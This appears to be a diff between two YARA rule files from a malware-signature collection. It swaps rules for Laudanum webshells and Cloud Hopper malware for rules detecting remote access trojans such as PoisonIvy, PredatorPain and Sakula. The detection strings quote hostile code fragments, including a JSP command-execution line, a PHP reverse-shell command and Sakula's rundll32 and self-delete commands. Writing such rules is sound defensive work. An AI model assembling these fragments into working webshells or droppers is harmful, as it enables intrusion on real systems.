-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L244-L260"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7421d33e8007c92c8642a36cba7351c7f95a4335"
-		logic_hash = "85c14a9c8a6aece231b1cb6dcdd7ed39fdc6aced868c34557ee2e2204ce7007b"
+		reference = "http://malwareconfig.com/stats/NetWire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L547-L569"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6a4e757262c02dfe46ac28940b53a5695df2d242ccd4c16b42fbfdcf96072e91"
 		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		quality = 60
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "$allowedIPs =" fullword ascii
-		$s2 = "<a href=\"<?php echo $_SERVER['PHP_SELF']  ?>\">Home</a><br/>" fullword ascii
-		$s3 = "$dir  = isset($_GET[\"dir\"])  ? $_GET[\"dir\"]  : \".\";" fullword ascii
-		$s4 = "$curdir .= substr($curdir, -1) != \"/\" ? \"/\" : \"\";" fullword ascii
+		$exe1 = "%.2d-%.2d-%.4d"
+		$exe2 = "%s%.2d-%.2d-%.4d"
+		$exe3 = "[%s] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]"
+		$exe4 = "wcnwClass"
+		$exe5 = "[Ctrl+%c]"
+		$exe6 = "SYSTEM\\CurrentControlSet\\Control\\ProductOptions"
+		$exe7 = "%s\\.purple\\accounts.xml"
 
 	condition:
-		filesize <10KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Warfiles_Cmd : FILE
+rule SIGNATURE_BASE_RAT_Pandora
 {
 	meta:
-		description = "Laudanum Injector Tools - file cmd.jsp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f974255b-cfbe-57b0-af1f-eddb7f12f5ed"
-		date = "2015-06-22"
+		description = "Detects Pandora RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "d31e4366-8911-5c9c-92dc-a99f5233c626"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L262-L278"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3ae3d837e7b362de738cf7fad78eded0dccf601f"
-		logic_hash = "64724b24d9f5b5d78e231ea8196abb609237cc430c49f6ceeb99c9684a904568"
+		reference = "http://malwareconfig.com/stats/Pandora"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L571-L599"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d33598d0699bfb7e996047318099302c2c326e45d993a259c2bc145acf8cf54b"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));" fullword ascii
-		$s2 = "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");" fullword ascii
-		$s3 = "<FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\">" fullword ascii
-		$s4 = "String disr = dis.readLine();" fullword ascii
+		$a = "Can't get the Windows version"
+		$b = "=M=Q=U=Y=]=a=e=i=m=q=u=y=}="
+		$c = "JPEG error #%d" wide
+		$d = "Cannot assign a %s to a %s" wide
+		$g = "%s, ProgID:"
+		$h = "clave"
+		$i = "Shell_TrayWnd"
+		$j = "melt.bat"
+		$k = "\\StubPath"
+		$l = "\\logs.dat"
+		$m = "1027|Operation has been canceled!"
+		$n = "466|You need to plug-in! Double click to install... |"
+		$0 = "33|[Keylogger Not Activated!]"
 
 	condition:
-		filesize <2KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Asp_Dns : FILE
+rule SIGNATURE_BASE_RAT_Paradox
 {
 	meta:
-		description = "Laudanum Injector Tools - file dns.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b0e30ca0-7163-5731-98c5-5a1893b8ea80"
-		date = "2015-06-22"
+		description = "Detects Paradox RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "2f1e6226-799b-54eb-a4a4-6c0f1bf561b4"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L280-L296"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5532154dd67800d33dace01103e9b2c4f3d01d51"
-		logic_hash = "808e879238a0c24e975c260fc95c05c91bdc0f73553a241bd00f5bf7e6622639"
+		reference = "http://malwareconfig.com/stats/Paradox"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L601-L623"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fef41262b78a497c65c7548c58d78ba8912725b28606fd9e99d1dbc19bdf7393"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "command = \"nslookup -type=\" & qtype & \" \" & query " fullword ascii
-		$s2 = "Set objCmd = objWShell.Exec(command)" fullword ascii
-		$s3 = "Response.Write command & \"<br>\"" fullword ascii
-		$s4 = "<form name=\"dns\" method=\"POST\">" fullword ascii
+		$a = "ParadoxRAT"
+		$b = "Form1"
+		$c = "StartRMCam"
+		$d = "Flooders"
+		$e = "SlowLaris"
+		$f = "SHITEMID"
+		$g = "set_Remote_Chat"
 
 	condition:
-		filesize <21KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Php_Reverse_Shell_2 : FILE
+rule SIGNATURE_BASE_RAT_Plasma
 {
 	meta:
-		description = "Laudanum Injector Tools - file php-reverse-shell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f10cc33e-0cb6-5d08-af1f-5ef76368de9d"
-		date = "2015-06-22"
+		description = "Detects Plasma RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "2a19c0de-0078-5487-869c-1bcabea57300"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L298-L312"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "025db3c3473413064f0606d93d155c7eb5049c42"
-		logic_hash = "695dc565c273ed358f7d56526fa4956ba13b216d8897d0707e1660a82b745081"
+		reference = "http://malwareconfig.com/stats/Plasma"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L625-L649"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e73348d379c483a7917cf765a457739aed6940f180272fa8d0c0dd1eb8e5f562"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "$process = proc_open($shell, $descriptorspec, $pipes);" fullword ascii
-		$s7 = "$shell = 'uname -a; w; id; /bin/sh -i';" fullword ascii
+		$a = "Miner: Failed to Inject." wide
+		$b = "Started GPU Mining on:" wide
+		$c = "BK: Hard Bot Killer Ran Successfully!" wide
+		$d = "Uploaded Keylogs Successfully!" wide
+		$e = "No Slowloris Attack is Running!" wide
+		$f = "An ARME Attack is Already Running on" wide
+		$g = "Proactive Bot Killer Enabled!" wide
+		$h = "PlasmaRAT" wide ascii
+		$i = "AntiEverything" wide ascii
 
 	condition:
-		filesize <10KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Laudanum_Tools_Generic : FILE
+rule SIGNATURE_BASE_RAT_Poisonivy
 {
 	meta:
-		description = "Laudanum Injector Tools"
-		author = "Florian Roth (Nextron Systems)"
-		id = "15738788-5f34-54d0-92fe-f7024c998a54"
-		date = "2015-06-22"
+		description = "Detects PoisonIvy RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "371686d3-878f-56fc-a702-ec49845f486b"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L314-L345"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "52c6d3be4fc91e8a61645886fa89bf78eddad51960702ff2ac83ec01d5d529ef"
+		reference = "http://malwareconfig.com/stats/PoisonIvy"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L651-L672"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "874e0dfb22a03abc0f7fdc7209ff13b55dfa5dcc17db944903ca37a549eb331d"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "076aa781a004ecb2bf545357fd36dcbafdd68b1a"
-		hash1 = "885e1783b07c73e7d47d3283be303c9719419b92"
-		hash2 = "01d5d16d876c55d77e094ce2b9c237de43b21a16"
-		hash3 = "7421d33e8007c92c8642a36cba7351c7f95a4335"
-		hash4 = "f49291aef9165ee4904d2d8c3cf5a6515ca0794f"
-		hash5 = "c0dee56ee68719d5ec39e773621ffe40b144fda5"
-		hash6 = "f32b9c2cc3a61fa326e9caebce28ef94a7a00c9a"
-		hash7 = "dc5c03a21267d024ef0f5ab96a34e3f6423dfcd6"
-		hash8 = "fd498c8b195967db01f68776ff5e36a06c9dfbfe"
-		hash9 = "b50ae35fcf767466f6ca25984cc008b7629676b8"
-		hash10 = "5570d10244d90ef53b74e2ac287fc657e38200f0"
-		hash11 = "42bcb491a11b4703c125daf1747cf2a40a1b36f3"
-		hash12 = "83e4eaaa2cf6898d7f83ab80158b64b1d48096f4"
-		hash13 = "dec7ea322898690a7f91db9377f035ad7072b8d7"
-		hash14 = "a2272b8a4221c6cc373915f0cc555fe55d65ac4d"
-		hash15 = "588739b9e4ef2dbb0b4cf630b73295d8134cc801"
-		hash16 = "43320dc23fb2ed26b882512e7c0bfdc64e2c1849"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "***  laudanum@secureideas.net" fullword ascii
-		$s2 = "*** Laudanum Project" fullword ascii
+		$stub = {04 08 00 53 74 75 62 50 61 74 68 18 04}
+		$string1 = "CONNECT %s:%i HTTP/1.0"
+		$string2 = "ws2_32"
+		$string3 = "cks=u"
+		$string4 = "thj@h"
+		$string5 = "advpack"
 
 	condition:
-		filesize <60KB and all of them
+		$stub at 0x1620 and all of ($string*) or ( all of them )
 }
-rule SIGNATURE_BASE_Opcloudhopper_Malware_1 : FILE
+rule SIGNATURE_BASE_RAT_Predatorpain
 {
 	meta:
-		description = "Detects malware from Operation Cloud Hopper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "28ca64ac-beee-51d9-96d4-a1f6d52823ec"
-		date = "2017-04-03"
+		description = "Detects PredatorPain RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "c6670179-871d-5a57-983b-d77354e2ede9"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L10-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1e024767797fb146b92d6e8c549597c0cda7c2f8fb961299a3808b9b2e924666"
+		reference = "http://malwareconfig.com/stats/PredatorPain"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L674-L702"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "917234f83f891ad00bd83908c244818f517ea89cf7d8c81cfc3618b8386c1804"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "27876dc5e6f746ff6003450eeea5e98de5d96cbcba9e4694dad94ca3e9fb1ddc"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "zok]\\\\\\ZZYYY666564444" fullword ascii
-		$s2 = "z{[ZZYUKKKIIGGGGGGGGGGGGG" fullword ascii
-		$s3 = "EEECEEC" fullword ascii
-		$s4 = "IIEFEE" fullword ascii
+		$string1 = "holderwb.txt" wide
+		$string3 = "There is a file attached to this email" wide
+		$string4 = "screens\\screenshot" wide
+		$string5 = "Disablelogger" wide
+		$string6 = "\\pidloc.txt" wide
+		$string7 = "clearie" wide
+		$string8 = "clearff" wide
+		$string9 = "emails should be sent to you shortly" wide
+		$string10 = "jagex_cache\\regPin" wide
+		$string11 = "open=Sys.exe" wide
+		$ver1 = "PredatorLogger" wide
+		$ver2 = "EncryptedCredentials" wide
+		$ver3 = "Predator Pain" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		7 of ($string*) and any of ($ver*)
 }
-rule SIGNATURE_BASE_Opcloudhopper_Malware_2 : FILE
+rule SIGNATURE_BASE_RAT_Punisher
 {
 	meta:
-		description = "Detects Operation CloudHopper malware samples"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7c0a3d68-5f6b-5491-b0c2-94e8cff478d1"
-		date = "2017-04-03"
-		modified = "2023-01-06"
-		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L28-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dff8623c35c83c20fb525209ec9aa5d77b51fa494eb557845a8320c77746c02f"
-		score = 90
-		quality = 85
-		tags = "FILE"
-		hash1 = "c1dbf481b2c3ba596b3542c7dc4e368f322d5c9950a78197a4ddbbaacbd07064"
+		description = "Detects Punisher RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "1e16b3c7-9656-5570-afa2-542367aa14d8"
+		date = "2014-01-04"
+		modified = "2023-12-05"
+		reference = "http://malwareconfig.com/stats/Punisher"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L704-L726"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9347b8053393c3537693273c44a2a2f095928b8bc0cdcf9365a6f060d66efeb5"
+		score = 75
+		quality = 60
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$x1 = "sERvEr.Dll" fullword ascii
-		$x2 = "ToolbarF.dll" fullword wide
-		$x3 = ".?AVCKeyLoggerManager@@" fullword ascii
-		$x4 = "GH0STCZH" ascii
-		$s1 = "%%SystemRoot%%\\System32\\svchost.exe -k \"%s\"" fullword wide
-		$s2 = "rundll32.exe \"%s\", UnInstall /update %s" fullword wide
-		$s3 = "\\Release\\Loader.pdb" ascii
-		$s4 = "%s\\%x.dll" fullword wide
-		$s5 = "Mozilla/4.0 (compatible)" fullword wide
-		$s6 = "\\syslog.dat" wide
-		$s7 = "NSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide
-		$op1 = { 8d 34 17 8d 49 00 8a 14 0e 3a 14 29 75 05 41 3b }
-		$op2 = { 83 e8 14 78 cf c1 e0 06 8b f8 8b c3 8a 08 84 c9 }
-		$op3 = { 3b fb 7d 3f 8a 4d 14 8d 45 14 84 c9 74 1b 8a 14 }
+		$a = "abccba"
+		$b = {5C 00 68 00 66 00 68 00 2E 00 76 00 62 00 73}
+		$c = {5C 00 73 00 63 00 2E 00 76 00 62 00 73}
+		$d = "SpyTheSpy" wide ascii
+		$e = "wireshark" wide
+		$f = "apateDNS" wide
+		$g = "abccbaDanabccb"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <900KB and (1 of ($x*) or 3 of ($s*)) or all of ($op*)) or (6 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Opcloudhopper_Malware_3 : FILE
+rule SIGNATURE_BASE_RAT_Pythorat
 {
 	meta:
-		description = "Detects malware from Operation Cloud Hopper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ad1d3b48-d48c-5011-ac51-c8047e1ee8ed"
-		date = "2017-04-03"
+		description = "Detects Python RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "fc98c513-1abf-5331-b351-f6182e5b19c5"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L59-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d15b4c277e2c4dfe300f242e4cc9b217981166191a47939ca437c55391874b5d"
+		reference = "http://malwareconfig.com/stats/PythoRAT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L728-L751"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8edcfb8f234ff225537d19343c75788ec2a25940e80042751eea3280a967e166"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c21eaadf9ffc62ca4673e27e06c16447f103c0cf7acd8db6ac5c8bd17805e39d"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s6 = "operator \"\" " fullword ascii
-		$s7 = "zok]\\\\\\ZZYYY666564444" fullword ascii
-		$s11 = "InvokeMainViaCRT" fullword ascii
-		$s12 = ".?AVAES@@" fullword ascii
-		$op1 = { b6 4c 06 f5 32 cf 88 4c 06 05 0f b6 4c 06 f9 32 }
-		$op2 = { 06 fc eb 03 8a 5e f0 85 c0 74 05 8a 0c 06 eb 03 }
-		$op3 = { 7e f8 85 c0 74 06 8a 74 06 08 eb 03 8a 76 fc 85 }
+		$a = "TKeylogger"
+		$b = "uFileTransfer"
+		$c = "TTDownload"
+		$d = "SETTINGS"
+		$e = "Unknown" wide
+		$f = "#@#@#"
+		$g = "PluginData"
+		$i = "OnPluginMessage"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and ( all of ($s*) and 1 of ($op*)) or all of ($op*)) or (5 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Opcloudhopper_Dropper_1 : FILE
+rule SIGNATURE_BASE_RAT_Qrat
 {
 	meta:
-		description = "Detects malware from Operation Cloud Hopper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b43ffb7e-1643-5560-8719-9c63582920e7"
-		date = "2017-04-03"
+		description = "Detects QRAT"
+		author = "Kevin Breen @KevTheHermit"
+		id = "2ee645a3-1e01-513c-a636-098e445adeca"
+		date = "2015-01-08"
 		modified = "2023-12-05"
-		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L81-L94"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ee0caf8a08db9a2a83f10178e2ee890b6b0bc6e699ebb3d01fa94fa48c6dfdee"
+		reference = "http://malwareconfig.com"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L753-L773"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6d404153ca64b547885e4e4581205f5fc20faf86e8ab18002c5deedca2487225"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "411571368804578826b8f24f323617f51b068809b1c769291b21125860dc3f4e"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "jar"
 
 	strings:
-		$s1 = "{\\version2}{\\edmins0}{\\nofpages1}{\\nofwords11}{\\nofchars69}{\\*\\company google}{\\nofcharsws79}{\\vern24611}{\\*\\password" ascii
+		$a0 = "e-data"
+		$a1 = "quaverse/crypter"
+		$a2 = "Qrypt.class"
+		$a3 = "Jarizer.class"
+		$a4 = "URLConnection.class"
 
 	condition:
-		( uint16(0)==0x5c7b and filesize <700KB and all of them )
+		4 of them
 }
-rule SIGNATURE_BASE_Opcloudhopper_Malware_4 : FILE
+rule SIGNATURE_BASE_RAT_Sakula : FILE
 {
 	meta:
-		description = "Detects malware from Operation Cloud Hopper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ebc810e6-f549-5401-9ee9-331888eda127"
-		date = "2017-04-03"
-		modified = "2023-01-06"
-		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L96-L112"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7b39531e4af93ab026381a1114efe00fa01fb45860ddb512dbfa436471644e20"
+		description = "Detects Sakula v1.0 RAT"
+		author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou / NCC Group David Cannings"
+		id = "4be3179c-3b91-56db-bba9-9ccc42066f96"
+		date = "2015-10-13"
+		modified = "2023-12-05"
+		reference = "http://blog.airbuscybersecurity.com/public/YFR/sakula_v1x.yara"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L775-L817"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ec4e16deb6f4a671ee665c81568e87dc9a1023328e1be242eae015c1e04cfcef"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145"
 
 	strings:
-		$s6 = "operator \"\" " fullword ascii
-		$s9 = "InvokeMainViaCRT" fullword ascii
-		$s10 = ".?AVAES@@" ascii
+		$s1 = "%d_of_%d_for_%s_on_%s"
+		$s2 = "/c ping 127.0.0.1 & del /q \"%s\""
+		$s3 = "=%s&type=%d"
+		$s4 = "?photoid="
+		$s5 = "iexplorer"
+		$s6 = "net start \"%s\""
+		$s7 = "cmd.exe /c rundll32 \"%s\""
+		$v1_1 = "MicroPlayerUpdate.exe"
+		$v1_2 = "CCPUpdate"
+		$v1_3 = { 81 3E 78 03 00 00 75 57  8D 54 24 14 52 68 0C 05 41 00 68 01 00 00 80 FF  15 00 F0 40 00 85 C0 74 10 8B 44 24 14 68 2C 31  41 00 50 FF 15 10 F0 40 00 8B 4C 24 14 51 FF 15  24 F0 40 00 E8 0F 09 00 }
+		$v1_4 = { 50 E8 CD FC FF FF 83 C4  04 68 E8 03 00 00 FF D7 56 E8 54 12 00 00 E9 AE  FE FF FF E8 13 F5 FF FF }
+		$serial01 = { 31 06 2e 48 3e 01 06 b1 8c 98 2f 00 53 18 5c 36 }
+		$serial02 = { 01 a5 d9 59 95 19 b1 ba fc fa d0 e8 0b 6d 67 35 }
+		$serial03 = { 47 d5 d5 37 2b cb 15 62 b4 c9 f4 c2 bd f1 35 87 }
+		$serial04 = { 3a c1 0e 68 f1 ce 51 9e 84 dd cd 28 b1 1f a5 42 }
+		$opcodes1 = { 89 FF 55 89 E5 83 EC 20 A1 ?? ?? ?? 00 83 F8 00 }
+		$opcodes2 = { 31 C0 8A 04 0B 3C 00 74 09 38 D0 74 05 30 D0 88 04 0B }
+		$opcodes3 = { 8B 45 08 8D 0C 02 8A 01 84 C0 74 08 3C ?? 74 04 34 ?? 88 01 }
+		$opcodes4 = { 30 14 38 8D 0C 38 40 FE C2 3B C6 }
+		$opcodes5 = { 30 14 39 8D 04 39 41 FE C2 3B CE }
+		$fp1 = "Symantec Corporation" ascii wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <800KB and all of them )
+		uint16(0)==0x5a4d and ((3 of ($s*) and any of ($v1_*)) or ( any of ($serial0*)) or ( any of ($opcodes*))) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Opcloudhopper_Malware_5 : FILE
+rule SIGNATURE_BASE_RAT_Shadowtech : FILE
 {
 	meta:
-		description = "Detects malware from Operation Cloud Hopper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1ad189f8-a4c2-5f56-beec-a55bd516ad8d"
-		date = "2017-04-03"
+		description = "Detects ShadowTech RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "1fb15030-b400-5e70-b183-81e2527d5556"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L114-L134"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9b91ac8f450843c7c85e8d056218aff671bb0f345d16a7ba3f4180ac008bf318"
+		reference = "http://malwareconfig.com/stats/ShadowTech"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L819-L839"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8ab024ae5ca62de30daf4392db5241220fcdb9b419bad555a996729aed9fa45d"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "beb1bc03bb0fba7b0624f8b2330226f8a7da6344afd68c5bc526f9d43838ef01"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$x1 = "CWINDOWSSYSTEMROOT" fullword ascii
-		$x2 = "YJ_D_KROPOX_M_NUJI_OLY_S_JU_MOOK" fullword ascii
-		$x3 = "NJK_JK_SED_PNJHGFUUGIOO_PIY" fullword ascii
-		$x4 = "c_VDGQBUl}YSB_C_VDlqSDYFU" fullword ascii
-		$s7 = "FALLINLOVE" fullword ascii
-		$op1 = { 83 ec 60 8d 4c 24 00 e8 6f ff ff ff 8d 4c 24 00 }
+		$a = "ShadowTech" nocase
+		$b = "DownloadContainer"
+		$c = "MySettings"
+		$d = "System.Configuration"
+		$newline = "#-@NewLine@-#" wide
+		$split = "pSIL" wide
